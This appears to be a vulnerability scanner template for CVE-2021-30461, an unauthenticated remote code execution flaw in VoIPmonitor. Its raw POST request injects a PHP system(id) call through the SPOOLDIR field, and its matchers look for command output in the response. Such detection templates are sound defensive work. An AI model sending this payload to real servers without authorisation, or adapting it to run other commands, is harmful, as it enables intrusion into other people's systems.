2021-05-07 12:30:10 +00:00
id : CVE-2021-30461
info :
name : VoipMonitor Pre-Auth-RCE
author : shifacyclewala,hackergautam
severity : critical
2021-05-16 12:53:51 +00:00
description : Use of user supplied data, arriving via web interface allows remote unauthenticated users to trigger a remote PHP code execution vulnerability in VoIPmonitor.
2021-05-07 12:30:10 +00:00
tags : cve,cve2021,rce,voipmonitor
reference : https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/
requests :
- raw :
- |
POST /index.php HTTP/1.1
Host : {{Hostname}}
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language : en-US,en;q=0.5
Accept-Encoding : gzip, deflate
Connection : close
Content-Type : application/x-www-form-urlencoded
Content-Length : 35
SPOOLDIR=test".system(id)."&recheck=Recheck
matchers-condition : and
matchers :
- type : word
words :
- "uid="
- "gid="
- "groups="
- "VoIPmonitor installation"
part : body
condition : and
- type : status
status :
- 200
